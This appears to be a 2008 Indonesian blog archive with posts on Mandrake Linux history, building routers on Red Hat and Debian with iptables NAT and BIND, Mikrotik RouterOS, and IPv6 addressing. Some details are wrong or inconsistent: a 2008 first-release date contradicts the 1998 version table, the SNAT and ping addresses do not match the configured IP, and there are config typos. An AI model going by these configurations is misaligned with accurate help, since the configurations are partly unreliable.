Bila Anda ingin menyelamatkan sistem Mandrake Linux yang sudah terinstal, masukkan CDROM Instalasi Anda (atau disket boot yang cocok), lalu tekan [F1] pada layar pembukaan Mandrake Linux, dan ketikkan rescue pada prompt.

Baca http://www.linux-mandrake.com/drakx/README untuk informasi teknis lebih lanjut.

Tahapan instalasi:

1. Masukkan CDROM Instalasi (atau disket bila perlu) dan restart komputer Anda.
2. Tekan [Enter] saat layar pembukaan Mandrake Linux muncul, dan ikuti petunjuknya secara hati-hati.
3. Saat instalasi selesai, cabut CDROM saat di-eject (dan juga disketnya); kemudian komputer akan restart. Bila tidak, restart secara manual.
4. Mandrake Linux akan dijalankan. Setelah boot, Anda dapat login pada komputer Anda dengan account user yang dibuat saat instalasi atau sebagai "root".

Catatan penting:

Account "root" akan memberikan Anda akses tak terbatas ke sistem Linux Anda. Jangan gunakan account ini kecuali untuk mengkonfigurasi atau administrasi. Untuk penggunaan sehari-hari, gunakan account user biasa yang Anda bisa konfigurasikan dengan tool "userdrake", atau dengan menggunakan "adduser USER" dan "passwd USER".

Untuk dukungan teknis instalasi, silakan baca daftar Mandrake dan FAQ di website Mandrake:

* http://www.mandrakelinux.com/

Sejarah Mandrake Linux

2008-11-08T13:46:00.002+07:00

Mandriva Linux (dahulu dikenal dengan nama Mandrakelinux atau Mandrake Linux) adalah sistem operasi yang dibuat oleh Mandriva (dahulu dikenal dengan nama Mandrakesoft). Mandriva Linux menggunakan RPM Package Manager.

Sejarah

Pertama kali dirilis berbasis Redhat Linux (versi 5.1) dan KDE (versi 1.0) pada Juli 2008

Perubahan Nama

Dari awal hingga versi 8.0, Mandrake menamai produk utamanya dengan Linux Mandrake. Sedang versi 8.1 sampai 9.2 dinamai Mandrake Linux

Pada bulan Februari 2004, Mandrakesoft kalah dalam suatu kasus di pengadilan terhadap Hearst Corporation, pemilik King Features Syndicate. Hearst menuduh MandrakeSoft melanggar hak cipta karakter King Features bernama 'Mandrake the Magician'. Sebagai tindakan pencegahan, Mandrakesoft mengganti nama produknya dengan menghilangkan spasi antara merek dan nama produk serta mengubah huruf pertama dari nama produk menjadi huruf kecil, sehingga menjadi satu kata. Mulai dari versi 10.0, Mandrake Linux dikenal sebagai Mandrakelinux, demikian pula logonya.

Pada bulan April 2005 Mandrakesoft mengakuisisi Conectiva, sebuah perusahaan Brasil yang menghasilkan distribusi linux berbahasa Portugis (Brasil) dan Spanyol di Amerika Latin. Akibat akuisisi ini dan sengketa hukum dengan Hearst Corporation, Mandrakesoft mengumumkan nama perusahaan menjadi Mandriva, dan bahwa Mandriva Linux akan menjadi nama baru bagi produk-produknya.[1]

[sunting] Tabel versi

Tahun	Nomor	Nama
1998	5.1	Venice
1998	5.2	Leeloo
1999	5.3	Festen
1999	6.0	Venus
1999	6.1	Helios
2000	7.0	Air
2000	7.1	Helium
2000	7.2	Odyssey (disebut Ulysses saat beta)
2001	8.0	Traktopel
2001	8.1	Vitamin
2002	8.2	Bluebird
2002	9.0	Dolphin
2003	9.1	Bamboo
2003	9.2	FiveStar
2004	10.0	Community and Official
2004	10.1	Community
2004	10.1	Official
2005	10.2	Limited Edition 2005
2005	2006.0	Mandriva Linux 2006
2006	2007	Mandriva Linux 2007
2007	2007.1	Mandriva Linux 2007 Spring
2007	2008.0	Mandriva Linux 2008
2008	2008.1	Mandriva Linux 2008 Spring

Cara membuat Router dengan Linux Red Hat

2008-11-06T15:11:00.002+07:00

Pertama yang harus di lakukan adalah mensetting serv(gateway utama) supaya bisa terhubung ke internet

Sebelum Mensetting :
1.Minta IP public ke ISP lengkap dengan netmask,broadcast dan dns nya
misalnya :
IP: 202.169.229.25
GATEWAY : 202.169.229.1
Nemast: 255.255.255.192
broadcast : 202.192.224.63
DNS1: 202.169.224.3
DNS2: 202.169.224.4

2.Menentukan IP local yang akan kita gunakan buat client

Setting IP serv :
1.[root@serv root]$ vi /etc/sysconfig/network
lalu isi dengan :

NETWORKING=yes
HOSTNAME=serv.domain.com
GATEWAY=202.169.229.1

lalu simpan dengan menekan :wq

2.Menconfigurasi IP eth0(default)

[root@serv root]$ vi /etc/sysconfig/network-scripts/ifcfg-eth0
lalu isi dengan :

DEVICE=eth0
BOOTPROTO=static
IPADDR=202.169.229.25
BROADCAST=202.169.229.63
NETMASK=255.255.255.192
ONBOOT=yes
USERCTL=no

lalu simpan dengan menekan :wq

3.Setting dns resolve

[root@serv root]$ vi /etc/resolve.conf
lalu isi dengan nameserver dari isp kita tadi :

nameserver 202.169.224.3
nameserver 202.169.224.4

lalu simpan dengan menekan :wq

4.Setting ip_forwarding

[root@serv cachak]$ vi /etc/sysctl.conf

rubah net.ipv4.ip_forward = 0 menjadi net.ipv4.ip_forward = 1
atau kalau gak ada net.ipv4.ip_forward = 0 tambahin net.ipv4.ip_forward = 1

simpan dengan menekan :wq

5.restart network
[root@serv cachak]$ /etc/init.d/network restart
Shutting down interface eth0: [ OK ]
Shutting down loopback interface: [ OK ]
Disabling IPv4 packet forwarding: [ OK ]
Setting network parameters: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]

[root@www root]#chkconfig –level 2345 network on
[root@www root]#

6.testing dengan ping ke default gateway 202.169.229.1

[root@serv root]$ ping 202.159.121.1
Pinging 202.169.229.1 with 32 bytes of data:
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63
Reply from 202.169.229.1: bytes=32 time=10ms TTL=63

Ping statistics for 202.169.229.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 10ms, Maximum = 10ms, Average = 10ms

7.testing untuk ngeping google.com untuk ngecek dns nya
kalau muncul :
PING google.com (216.239.39.99) 56(84) bytes of data.
berarti dns kita untuk serv dah bekerja, tapi kalau muncul :
ping: unknown host google.com
berarti dns yang kita isikan di /etc/resolve.conf masih salah,silahkan cek lagi ke ISP nya )

nah bereskan sudah setting IP untuk serv nya )
supaya serv ini bisa sekaligus di gunakan sebagai ns server oleh client maka harus di install daemon bind atau daemon nameserver yang lain
atau kalau sudah ada tinggal hidupin Bind nya

[root@www root]# /etc/init.d/named restart
Stopping named: [ OK ]
Starting named: [ OK ]
[root@www root]#chkconfig –level 2345 named on
[root@www root]#

misalnya ip ke client adalah :
192.168.0.1/24
IP : 192.168.0.1
netmask : 255.255.255.0
broadcast : 192.168.0.255
RANGE IP CLIENT : 192.168.0.2-192.168.0.254

Setting ip untuk eth1 (yang ke client)
1.memberi IP 192.168.0.1 di eth1
[root@serv cachak]$ vi /etc/sysconfig/network-scripts/ifcfg-eth1
lalu isi dengan :

DEVICE=eth1
BOOTPROTO=static
IPADDR=192.168.0.1
NETMASK=255.255.255.0
BROADCAST=192.168.0.255
ONBOOT=yes
USERCTL=no

lalu simpan dengan menekan :wq

2.Restart networknya

[root@serv root]$ /etc/init.d/network restart
Shutting down interface eth0: [ OK ]
Shutting down interface eth1: [ OK ]
Shutting down loopback interface: [ OK ]
Disabling IPv4 packet forwarding: [ OK ]
Setting network parameters: [ OK ]
Bringing up loopback interface: [ OK ]
Bringing up interface eth0: [ OK ]
Bringing up interface eth1: [ OK ]

3.Testing dengan cara ping ip eth1
[root@serv cachak]$ ping 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=1 ttl=63 time=0.356 ms
64 bytes from 192.168.0.1: icmp_seq=2 ttl=63 time=0.269 ms
64 bytes from 192.168.0.1: icmp_seq=3 ttl=63 time=0.267 ms
64 bytes from 192.168.0.1: icmp_seq=4 ttl=63 time=0.268 ms

— 192.168.0.1 ping statistics —
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.267/0.290/0.356/0.038 ms

Tinggal Setting IP computer client dengan ketentuan di bawah ini :

IP: 192.168.0.2 - 192.168.0.254
GATEWAY: 192.168.0.1
NETMASK: 255.255.255.0
BROADCAST: 192.168.0.255
NAMESERVER: 192.168.0.1

misal :

Client01
===============================
IP: 192.168.0.2
GATEWAY: 192.168.0.1
NETMASK: 255.255.255.0
BROADCAST: 192.168.0.255
NAMESERVER: 192.168.0.1

Client02
===============================
IP: 192.168.0.3
GATEWAY: 192.168.0.1
NETMASK: 255.255.255.0
BROADCAST: 192.168.0.255
NAMESERVER: 192.168.0.1

dan seterusnya sesuai banyaknya client,yang berubah hanya IP
untuk client windows maka setting IP di bagian Start Menu/Setting/Control Panel/Network

setelah di setting ip client, maka coba ping ke 192.168.0.1 dari client,kalau berhasil berarti client dan serv nya sudah tersambung.

Setting serv supaya client bisa internat dengan menggunakan NAT

1.Matikan iptablesnya

[root@serv root]# /etc/init.d/iptables stop
Flushing all chains: [ OK ]
Removing user defined chains: [ OK ]
Resetting built-in chains to the default ACCEPT policy: [ OK ]
[root@serv root]#

2.Tambahkan iptables untuk Source NAt sesuai dengan ip di eth0
[root@serv root]# /sbin/iptables -t nat -A POSTROUTING -o eth0 -s 192.168.0.0/24 -j SNAT –to-source 202.159.121.2
[root@serv root]# /sbin/iptables-save > /etc/sysconfig/iptables
[root@serv root]# /etc/init.d/iptables restart
Flushing all current rules and user defined chains: [ OK ]
Clearing all current rules and user defined chains: [ OK ]
Applying iptables firewall rules: [ OK ]
[root@serv root]# iptables-save

Cara membuat router pada Linux Debian

2008-11-06T14:39:00.002+07:00

Pertama-tama install debian anda dengan installan Base System. Jangan lupa menuruti permintaan Install Wizard untuk scan 9 keping CD (Penting dalam database systemnya). Maaf saya tidak menjelaskan installasi Debian secara Detail. Setelah installasi selesai, lakukan langkah-langkah sebagai berikut:

1. .:: Set IP Address eth0 dan eth1.

Pengsian berdasarkan asumsi sebagai berikut;
eth0 terhubung ke jaringan lokal / client internet
eth1 terhubung ke Modem ADSL atau WiFi dengan ip 10.1.1.1
Set eth0 dengan ip 192.168.0.254 dan eth1 10.1.1.2

# vi /etc/network/interfaces

auto eth0
iface eth0 inet static
address 192.168.0.254
netmask 255.255.255.0
broadcast 192.168.1.255

auto eth1
iface eth1 inet static
address 10.1.1.2
netmask 255.255.255.0
broadcast 10.1.1.255
gateway 10.1.1.1

2. ..::Install Bind 9 sebagai DNS server.

# apt-get install bind9

setelah selesai terinstall lakukan setting:

# vi /etc/bind/named.conf

masukkan perintah ;

// add entries for other zone below here

zone "domain yang diinginkan" IN {
type master;
file "db.domain";
};

zone "0.168.192.in-addr.arpa" IN {
type master;
file "db.ip";
};

*lalu buat file db.domain dan db.ip , letak posisi file di /var/cache/bind/

.::db.domain

; chuprex.net
$TTL 604800
@ IN SOA ns1.chuprex.net. root.chuprex.net. (
2006020201 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800); Negative Cache TTL
;
@ IN NS ns1
IN MX 10 mail
IN A 192.168.0.254
ns1 IN A 192.168.0.254
mail IN A 192.168.0.2 ; We have our mail server somewhere else.
www IN A 192.168.0.254
client1 IN A 192.168.0.1 ; We connect to client1 very often.

.:: db.ip

; chuprex.net
$TTL 604800
@ IN SOA ns1.chuprex.net. root.chuprex.net. (
2006020201 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800); Negative Cache TTL
;
@ IN NS ns1
IN MX 10 mail
ns1 IN PTR 192.168.0.254
254 IN PTR ns1
254 IN PTR ns1.chuprex.net

** Setting file resolv.conf , posisi di /etc/resolv.conf

nameserver 192.168.0.254
domain chuprex.net
domain www.chuprex.net

**setelah itu restart bind

/etc/init.d/bind9 restart

2. ..:: Sekarang saatnya edit Routing Setting :

**Edit file ipv4_forward untuk memForwardkan ip dari 2 eth.

#vi /etc/network/options

ip_forward = yes
spoofprotect = yes
syncookies = no

**Masukkan rule iptables untuk share internet dari eth1 ke eth0.

#iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

untuk mempermanenkan rule iptables, jangan lupa menyimpannya.

#iptables-save

Sekian aja ya, setting router sederhana sudah selesai. Ooops, ternyata ada yg tertinggal.

**:: Restart setting network anda.

#/etc/init.d/networking restart

Membuat Router di Linux

2008-11-06T14:27:00.000+07:00

Hal² yang harus di siapkan dalam pembuatan router sederhana:

1. PC Minimal P2 Memory 64 Mb
2. Ethernet Minimal 2 Buah
3. Cd Linux Distro Redhat

Dalam hal ini saya tidak akan membahas bagaimana cara menginstal linux nya tapi hanya firewall untuk sebuah router sederhana, dalam pembuatan router sederhana ini kita hanya memerlukan firewall(yang saya gunakan adalah iptables dan proxy server Opt) :

Konfigurasi firewall untuk sebuah router sederhana adalah seperti di bawah ini

#——————-#
# Seting Ip Forward #
#——————-#
echo 1 > /proc/sys/net/ipv4/ip_forward
#————#
# Seting NAT #
#————#
iptables -t nat -A POSTROUTING -s ab.c.d.e/24 -j SNAT –to-source 123.45.67.890
#—————————-#
#Redirect HTTP+HTTPS ke Proxy#
#—————————-#
iptables -t nat -I PREROUTING -s ab.c.d.e/24 -p tcp -d ! 123.45.67.890 –dport 80 -j REDIRECT –to-port 3128
iptables -t nat -I PREROUTING -s ab.c.d.e/24 -p tcp -d ! 123.45.67.890 –dport 443 -j REDIRECT –to-port 3128
#——-#
#Forward#
#——-#
iptables -A FORWARD -p tcp –dport 25 -j LOG
#ijinkan acces ke Smtp server
iptables -A FORWARD -s ab.c.d.e/24 -p tcp –dport 25 -j ACCEPT
#ijinkan acces ke DNS Server
iptables -A FORWARD -s ab.c.d.e/24 -p tcp –dport 53 -j ACCEPT
#ijinkan acces Http
iptables -A FORWARD -s ab.c.d.e/24 -p tcp –dport 80 -j ACCEPT
#ijinkan acces ke Pop3
iptables -A FORWARD -s ab.c.d.e/24 -p tcp –dport 110 -j ACCEPT
#ijinkan acces ke https
iptables -A FORWARD -s ab.c.d.e/24 -p tcp –dport 443 -j ACCEPT
#Tutup Semua Port yang tidak akan di gunakan
iptables -A FORWARD -s ab.c.d.e/24 -p tcp -j DROP

#—————-#
#4.Rule Lain Lain#
#—————-#
iptables-save > /etc/sysconfig/iptables
service iptables restart
iptables-save

Mikrotik Router OS

2008-11-01T14:09:00.002+07:00

Mikrotik Router OS adalah system operasi varian linux atau unix yang fungsi utamanya untuk routing, system operasi ini dipersenjatai dengan berbagai macam metode routing yang lengkap. Akan tetapi Microtik Router OS, bukan sebuah open source dibawah badan GNU. Untuk menggunakan sistem operasi ini kita harus membeli lisensi ke Microtik. Pembelian lisensi Microtik Router OS yang di tawarkan oleh perusahan Microtik, tidak begitu mahal untuk standar Router OS.

Mikrotik Router OS dibagi-bagi menjadi beberapa level, setiap levelnya berbeda-beda fitur yang diberikan. Dan harga lisensi yang dibayar untuk menggunakan sistem operasi ini tergantung dengan level Router OS tersebut. Untuk lisensi RouterOS Level 4 tanpa DOM berkisar Rp 400.000,- dengan DOM Rp 750.000,-, lisensi RouterOS Level 5 tanpa DOM berkisar Rp 850.000,- dengan DOM Rp 1.200.000,-, dan lisensi RouterOS Level 6 tanpa DOM berkisar Rp 2.000.000,- dengan DOM Rp 2.350.000,-.

Mikrotik RouterOS hadir dalam berbagai level. Tiap level memiliki kemampuannya masing-masing, mulai dari level 3, hingga level 6. Secara singkat, level 3 digunakan untuk router berinterface ethernet, level 4 untuk wireless client atau serial interface, level 5 untuk wireless AP, dan level 6 tidak mempunyai limitasi apapun.

Untuk aplikasi hotspot, bisa digunakan level 4 (200 user), level 5 (500 user) dan level 6 (unlimited user).

Detail perbedaan masing-masing level dapat dilihat pada tabel di bawah ini:

Level number	1 (DEMO)	3 (ISP)	4 (WISP)	5 (WISPAP)	6 (Controller)
Wireless Client and Bridge	-	-	yes	yes	yes
Wireless AP	-	-	-	yes	yes
Synchronous interfaces	-	-	yes	yes	yes
EoIP tunnels	1	unlimited	unlimited	unlimited	unlimited
PPPoE tunnels	1	200	200	500	unlimited
PPTP tunnels	1	200	200	unlimited	unlimited
L2TP tunnels	1	200	200	unlimited	unlimited
VLAN interfaces	1	unlimited	unlimited	unlimited	unlimited
P2P firewall rules	1	unlimited	unlimited	unlimited	unlimited
NAT rules	1	unlimited	unlimited	unlimited	unlimited
HotSpot active users	1	1	200	500	unlimited
RADIUS client	-	yes	yes	yes	yes
Queues	1	unlimited	unlimited	unlimited	unlimited
Web proxy	-	yes	yes	yes	yes
RIP, OSPF, BGP protocols	-	yes	yes	yes	yes
Upgrade	configuration erased on upgrade	yes	yes	yes	yes

Apa itu Mikrotik?

2008-11-01T14:03:00.002+07:00

MikroTik RouterOS™ adalah sistem operasi dan perangkat lunak yang dapat digunakan untuk menjadikan komputer manjadi router network yang handal, mencakup berbagai fitur yang dibuat untuk ip network dan jaringan wireless, cocok digunakan oleh ISP dan provider hotspot.

Pendahuluan

Kebutuhan akan akses internet dewasa ini sangat tinggi sekali. Baik untuk mencari informasi, artikel, pengetahuan terbaru atau bahkan hanya untuk chating. Pembagian nomor untuk internet atau biasa disebut dalam dunia networking adalah IP Address sudah sangat menipis atau sudah hampir habis.

Satu IP Address perlu sekali berhubungan dengan IP address lainnya yang berbeda class atau subnet, maka diperlukanlah suatu proses system untuk menghubungkan IP Address itu, yaitu routing. Routing akan membuat sebuah rantai jaringan saling terhubung dan bias berkomunikasi dengan baik, dan informasi yang tersedia di satu IP Address akan didapatkan di IP address yang lainnya.

Device atau perangkat yang digunakan untuk proses routing biasa disebut router. Router terdiri dari hardware & software keduanya harus terpasang dengan sejalan atau sinkron supaya bisa bekerja dengan baik. Router bisa kita peroleh dengan cara memakai langsung tanpa harus install system dengan menggunakan router broadband atau kita bisa menggunakan komputer untuk membuat router dengan cara menginstall system operasi atau software untuk membuat router dengan catatan hardware pun mendukung untuk proses routing. Mikrotik adalah salah satu vendor baik hardware dan software yang menyediakan fasilitas untuk membuat router. Salah satunya adalah Mikrotik Router OS, ini adalah Operating system yang khusus digunakan untuk membuat sebuah router dengan cara menginstallnya ke komputer. Fasilitas atau tools yang disediakan dalam Mikrotik Router Os sangat lengkap untuk membangun sebuah router yang handal dan stabil.

Tentang Mikrotik

MikroTikls [dengan trade name MikroTik®] didirikan tahun 1995 bertujuan mengembangkan sistem ISP dengan wireless. MikroTikls saat ini telah mendukung sistem ISP dengan wireless untuk jalur data internet di banyak negara, antara lain Iraq, Kosovo, Sri Lanka, Ghana dan banyak negara lainnya.

Pengalaman dalam melakukan instalasi di Latvia menempa kami dengan kondisi serupa di negara-negara pecahan Uni Soviet dan negara berkembang lainnya. Berbagai pengembangan telah dilakukan hingga saat ini tersedia perangkat lunak sistem operasi router versi 2 yang menjamin kestabilan, kontrol, dan fleksibilitas pada berbagai media antar muka dan sistem routing dengan menggunakan komputer standart sebagai hardware. Perangkat lunak ini mendukung berbagai aplikasi ISP, mulai dari RADIUS modem pool, hingga sirkuit backbone dengan DS3.

MikroTik berlokasi di Riga, ibukota Latvia, dengan 50 orang karyawan. Mikrotik juga menjalankan sebuah ISP kecil, sebagai media percobaan untuk pengembangan routerOR software.

Instalasi Mikrotik

2008-11-01T13:58:00.002+07:00

Mikrotik adalah salah satu distro linux yang dikhususkan untuk router dengan fitur - fitur yang cukup lengkap dan cukup mudah untuk di konfigurasi, Mikrotik Router dapat menjadi pilihan bagi para pemula yang ingin memperdalam ilmu networking.

Beberapa fitur - fitur yang disediakan Mikrotik antara lain NAT, VPN, Proxy, Hotspot, Bandwidth limiter, dll cukup lengkap untuk membangun sebuah router.

Kebutuhan spesifikasi hardware yang dibutuhkan Mikrotik tidaklah terlalu tinggi, kebetulan penulis menggunakan sebuah PC Pentium III dengan memory 128 Mb dan Hard Disk 10 Gb.

Satu hal yang perlu diperhatikan didalam proses instalasi Mikrotik adalah memastikan PC memiliki CD ROM karena proses instalasi akan dilakukan melalui CD dan PC memiliki minimal dua ethernet card.

Berikut tahapannya :

1. Seting bios agar PC boot pertama kali dari CD

2. Masukan CD Mikrotik

3. Restart PC

4. Bila proses boot melalui CD Mikrotik berhasil, biasanya pada monitor akan muncul tulisan

ISOLINUX 2.08 xxxxx xxxxx xxxx
Loading linux.......
Loading initrd.rgz.....
.... dan seterusnya

5. Selanjutnya akan muncul menu pilihan paket instalasi

Welcome to Mikrotik Router Software Instalation
.... dan seterusnya

Berhubung penulis akan menggunakan Router Mikrotik ini untuk uji coba, maka penulis memilih melakukan instalasi semua paket yang tersedia dengan cara menekan a lalu menekan i untuk melanjutkan proses instalasi.

6. Kemudian akan muncul peringatan bahwa semua data dalam harddisk akan terhapus bila melakukan proses instalasi.

Warning: all data on the disk will be erased!

Continue? [y/n]

Ketik y untuk melanjutkan proses instalasi.

7. Peringatan untuk tetap menggunakan konfigurasi lama.

Do you want to keep old configuration? [y/n]

ketik n karena kita akan meng-install fresh Mikrotik

8. Proses instalasi akan berlangsung beberapa menit, kurang lebih 10-15 menit. Bila proses instalasi sudah selesai, akan muncul pemberitahuan :

Software installed.
Press ENTER to reboot

9. Keluar CD, kemudian tekan enter untuk reboot PC. Terkadang CD tidak bisa kita keluarkan, mungkin karena CD masih di mount system, jangan panik, tekan saja enter dan buru - buru mengeluarkan CD sebelum proses reboot berlangsung.

Proses instalasi Mikrotik sudah sukses.

Jenis-jenis Alamat IP versi 6

2008-10-29T14:38:00.002+07:00

Jenis-jenis Alamat IPv6

IPv6 mendukung beberapa jenis format prefix, yakni sebagai berikut:

* Alamat Unicast, yang menyediakan komunikasi secara point-to-point, secara langsung antara dua host dalam sebuah jaringan.

* Alamat Multicast, yang menyediakan metode untuk mengirimkan sebuah paket data ke banyak host yang berada dalam group yang sama. Alamat ini digunakan dalam komunikasi one-to-many.

* Alamat Anycast, yang menyediakan metode penyampaian paket data kepada anggota terdekat dari sebuah group. Alamat ini digunakan dalam komunikasi one-to-one-of-many. Alamat ini juga digunakan hanya sebagai alamat tujuan (destination address) dan diberikan hanya kepada router, bukan kepada host-host biasa.

Jika dilihat dari cakupan alamatnya, alamat unicast dan anycast terbagi menjadi alamat-alamat berikut:

* Link-Local, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam satu subnet.

* Site-Local, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam sebuah intranet.

* Global Address, merupakan sebuah jenis alamat yang mengizinkan sebuah komputer agar dapat berkomunikasi dengan komputer lainnya dalam Internet berbasis IPv6.

Sementara itu, cakupan alamat multicast dimasukkan ke dalam struktur alamat.

Unicast Address

Alamat IPv6 unicast dapat diimplementasikan dalam berbagai jenis alamat, yakni:

* Alamat unicast global
* Alamat unicast site-local
* Alamat unicast link-local
* Alamat unicast yang belum ditentukan (unicast unspecified address)
* Alamat unicast loopback
* Alamat unicast 6to4
* Alamat unicast ISATAP

Unicast global addresses

Alamat unicast global IPv6 mirip dengan alamat publik dalam alamat IPv4. Dikenal juga sebagai Aggregatable Global Unicast Address. Seperti halnya alamat publik IPv4 yang dapat secara global dirujuk oleh host-host di Internet dengan menggunakan proses routing, alamat ini juga mengimplementasikan hal serupa. Struktur alamat IPv6 unicast global terbagi menjadi topologi tiga level (Public, Site, dan Node).

Unicast site-local addresses

Alamat unicast site-local IPv6 mirip dengan alamat privat dalam IPv4. Ruang lingkup dari sebuah alamat terdapat pada internetwork dalam sebuah site milik sebuah organisasi. Penggunaan alamat unicast global dan unicast site-local dalam sebuah jaringan adalah mungkin dilakukan. Prefiks yang digunakan oleh alamat ini adalah FEC0::/48.

Unicast link-local address

Alamat unicast link-local adalah alamat yang digunakan oleh host-host dalam subnet yang sama. Alamat ini mirip dengan konfigurasi APIPA (Automatic Private Internet Protocol Addressing) dalam sistem operasi Microsoft Windows XP ke atas. host-host yang berada di dalam subnet yang sama akan menggunakan alamat-alamat ini secara otomatis agar dapat berkomunikasi. Alamat ini juga memiliki fungsi resolusi alamat, yang disebut dengan Neighbor Discovery. Prefiks alamat yang digunakan oleh jenis alamat ini adalah FE80::/64.

Unicast unspecified address

Alamat unicast yang belum ditentukan adalah alamat yang belum ditentukan oleh seorang administrator atau tidak menemukan sebuah DHCP Server untuk meminta alamat. Alamat ini sama dengan alamat IPv4 yang belum ditentukan, yakni 0.0.0.0. Nilai alamat ini dalam IPv6 adalah 0:0:0:0:0:0:0:0 atau dapat disingkat menjadi dua titik dua (::).

Unicast Loopback Address

Alamat unicast loopback adalah sebuah alamat yang digunakan untuk mekanisme interprocess communication (IPC) dalam sebuah host. Dalam IPv4, alamat yang ditetapkan adalah 127.0.0.1, sementara dalam IPv6 adalah 0:0:0:0:0:0:0:1, atau ::1.

Unicast 6to4 Address

Alamat unicast 6to4 adalah alamat yang digunakan oleh dua host IPv4 dan IPv6 dalam Internet IPv4 agar dapat saling berkomunikasi. Alamat ini sering digunakan sebagai pengganti alamat publik IPv4. Alamat ini aslinya menggunakan prefiks alamat 2002::/16, dengan tambahan 32 bit dari alamat publik IPv4 untuk membuat sebuah prefiks dengan panjang 48-bit, dengan format 2002:WWXX:YYZZ::/48, di mana WWXX dan YYZZ adalah representasi dalam notasi colon-decimal format dari notasi dotted-decimal format w.x.y.z dari alamat publik IPv4. Sebagai contoh alamat IPv4 157.60.91.123 diterjemahkan menjadi alamat IPv6 2002:9D3C:5B7B::/48.

Meskipun demikian, alamat ini sering ditulis dalam format IPv6 Unicast global address, yakni 2002:WWXX:YYZZ:SLA ID:Interface ID.

Unicast ISATAP Address

Alamat Unicast ISATAP adalah sebuah alamat yang digunakan oleh dua host IPv4 dan IPv6 dalam sebuah Intranet IPv4 agar dapat saling berkomunikasi. Alamat ini menggabungkan prefiks alamat unicast link-local, alamat unicast site-local atau alamat unicast global (yang dapat berupa prefiks alamat 6to4) yang berukuran 64-bit dengan 32-bit ISATAP Identifier (0000:5EFE), lalu diikuti dengan 32-bit alamat IPv4 yang dimiliki oleh interface atau sebuah host. Prefiks yang digunakan dalam alamat ini dinamakan dengan subnet prefix. Meski alamat 6to4 hanya dapat menangani alamat IPv4 publik saja, alamat ISATAP dapat menangani alamat pribadi IPv4 dan alamat publik IPv4.

Multicast Address

Alamat multicast IPv6 sama seperti halnya alamat multicast pada IPv4. Paket-paket yang ditujukan ke sebuah alamat multicast akan disampaikan terhadap semua interface yang dikenali oleh alamat tersebut. Prefiks alamat yang digunakan oleh alamat multicast IPv6 adalah FF00::/8.

Anycast Address

Alamat Anycast dalam IPv6 mirip dengan alamat anycast dalam IPv4, tapi diimplementasikan dengan cara yang lebih efisien dibandingkan dengan IPv4. Umumnya, alamat anycast digunakan oleh Internet Service Provider (ISP) yang memiliki banyak klien. Meskipun alamat anycast menggunakan ruang alamat unicast, tapi fungsinya berbeda daripada alamat unicast.

IPv6 menggunakan alamat anycast untuk mengidentifikasikan beberapa interface yang berbeda. IPv6 akan menyampaikan paket-paket yang dialamatkan ke sebuah alamat anycast ke interface terdekat yang dikenali oleh alamat tersebut. Hal ini sangat berbeda dengan alamat multicast, yang menyampaikan paket ke banyak penerima, karena alamat anycast akan menyampaikan paket kepada salah satu dari banyak penerima.

Perbedaan antara IP ver 4 dengan IP ver 6

2008-10-29T14:35:00.001+07:00

Berbeda dengan IPv4 yang hanya memiliki panjang 32-bit (jumlah total alamat yang dapat dicapainya mencapai 4,294,967,296 alamat), alamat IPv6 memiliki panjang 128-bit. IPv4, meskipun total alamatnya mencapai 4 miliar, pada kenyataannya tidak sampai 4 miliar alamat, karena ada beberapa limitasi, sehingga implementasinya saat ini hanya mencapai beberapa ratus juta saja. IPv6, yang memiliki panjang 128-bit, memiliki total alamat yang mungkin hingga 2128=3,4 x 1038 alamat. Total alamat yang sangat besar ini bertujuan untuk menyediakan ruang alamat yang tidak akan habis (hingga beberapa masa ke depan), dan membentuk infrastruktur routing yang disusun secara hierarkis, sehingga mengurangi kompleksitas proses routing dan tabel routing.

Sama seperti halnya IPv4, IPv6 juga mengizinkan adanya DHCP Server sebagai pengatur alamat otomatis. Jika dalam IPv4 terdapat dynamic address dan static address, maka dalam IPv6, konfigurasi alamat dengan menggunakan DHCP Server dinamakan dengan stateful address configuration, sementara jika konfigurasi alamat IPv6 tanpa DHCP Server dinamakan dengan stateless address configuration.

Seperti halnya IPv4 yang menggunakan bit-bit pada tingkat tinggi (high-order bit) sebagai alamat jaringan sementara bit-bit pada tingkat rendah (low-order bit) sebagai alamat host, dalam IPv6 juga terjadi hal serupa. Dalam IPv6, bit-bit pada tingkat tinggi akan digunakan sebagai tanda pengenal jenis alamat IPv6, yang disebut dengan Format Prefix (FP). Dalam IPv6, tidak ada subnet mask, yang ada hanyalah Format Prefix.

Format Prefix

Dalam IPv4, sebuah alamat dalam notasi dotted-decimal format dapat direpresentasikan dengan menggunakan angka prefiks yang merujuk kepada subnet mask. IPv6 juga memiliki angka prefiks, tapi tidak didugnakan untuk merujuk kepada subnet mask, karena memang IPv6 tidak mendukung subnet mask.

Prefiks adalah sebuah bagian dari alamat IP, di mana bit-bit memiliki nilai-nilai yang tetap atau bit-bit tersebut merupakan bagian dari sebuah rute atau subnet identifier. Prefiks dalam IPv6 direpesentasikan dengan cara yang sama seperti halnya prefiks alamat IPv4, yaitu [alamat]/[angka panjang prefiks]. Panjang prefiks menentukan jumlah bit terbesar paling kiri yang membuat prefiks subnet. Sebagai contoh, prefiks sebuah alamat IPv6 dapat direpresentasikan sebagai berikut:

3FFE:2900:D005:F28B::/64

Format Alamat

Dalam IPv6, alamat 128-bit akan dibagi ke dalam 8 blok berukuran 16-bit, yang dapat dikonversikan ke dalam bilangan heksadesimal berukuran 4-digit. Setiap blok bilangan heksadesimal tersebut akan dipisahkan dengan tanda titik dua (:). Karenanya, format notasi yang digunakan oleh IPv6 juga sering disebut dengan colon-hexadecimal format, berbeda dengan IPv4 yang menggunakan dotted-decimal format.

Berikut ini adalah contoh alamat IPv6 dalam bentuk bilangan biner:

